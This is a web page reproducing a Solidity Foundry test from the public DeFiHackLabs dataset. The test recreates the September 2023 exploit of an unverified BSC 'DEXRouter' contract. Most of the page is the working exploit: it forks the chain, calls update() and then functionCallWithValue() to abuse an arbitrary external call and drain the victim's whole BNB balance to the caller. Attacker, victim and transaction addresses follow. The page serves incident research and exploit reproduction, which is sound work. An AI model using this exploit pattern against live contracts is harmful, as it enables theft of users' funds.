Public reproduction file
src/test/2023-09/DEXRouter_exp.sol
Public reproduction file for dataset entry DEXRouter.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~4K USD$8// Attacker : https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e89// Attack Contract : https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f10// Victim Contract : https://bscscan.com/address/0x1f7cf218b46e613d1ba54cac11dc1b5368d94fb711// Attack Tx : https://bscscan.com/tx/0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc211313// @Analysis14// https://twitter.com/DecurityHQ/status/170785132190942868816interface IDEXRouter {17 function update(address fcb, address bnb, address busd, address router) external;19 function functionCallWithValue(address target, bytes memory data, uint256 value) external;20}22contract ContractTest is Test {23 // Victim unverified contract. Name "DEXRouter" taken from parameter name in "go" function in attack contract24 IDEXRouter private constant DEXRouter = IDEXRouter(0x1f7cF218B46e613D1BA54CaC11dC1b5368d94fb7);26 function setUp() public {27 vm.createSelectFork("bsc", 32_161_325);28 vm.label(address(DEXRouter), "DEXRouter");29 }31 function testExploit() public {32 deal(address(this), 0 ether);33 emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18);34 // DEXRouter will call back to function with selector "0xe44a73b7". Look at fallback function35 DEXRouter.update(address(this), address(this), address(this), address(this));37 // Arbitrary external call vulnerability here. DEXRouter will call back "a" payable function and next transfer BNB to this contract38 DEXRouter.functionCallWithValue(address(this), abi.encodePacked(this.a.selector), address(DEXRouter).balance);40 emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18);41 }43 function a() external payable returns (bool) {44 return true;45 }47 fallback(48 bytes calldata data49 ) external payable returns (bytes memory) {50 if (bytes4(data) == bytes4(0xe44a73b7)) {51 return abi.encode(true);52 }53 }54}Analysis
Dataset entry
Public Foundry test for “DEXRouter” (2023-09-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
- src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
- src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
- src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
- src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
- src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
- src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
- src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x09039e2082a0a815908e68bd52b86f96573768e8
- Attack Contract
0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f
- Victim
0x1f7cf218b46e613d1ba54cac11dc1b5368d94fb7
- Attack Tx
0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc2113
- Explorer: https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8
- Explorer: https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f
- Explorer: https://bscscan.com/address/0x1f7cf218b46e613d1ba54cac11dc1b5368d94fb7
- Reference: https://twitter.com/DecurityHQ/status/1707851321909428688
File record
- Name
- DEXRouter
- Path
- src/test/2023-09/DEXRouter_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9356753675b14316ba10b99ef87e48ea16df3fb0
- Language
- Solidity
- Size
- 55 lines
- Date
- 2023-09-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-09/DEXRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9356753675b14316ba10b99ef87e48ea16df3fb0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.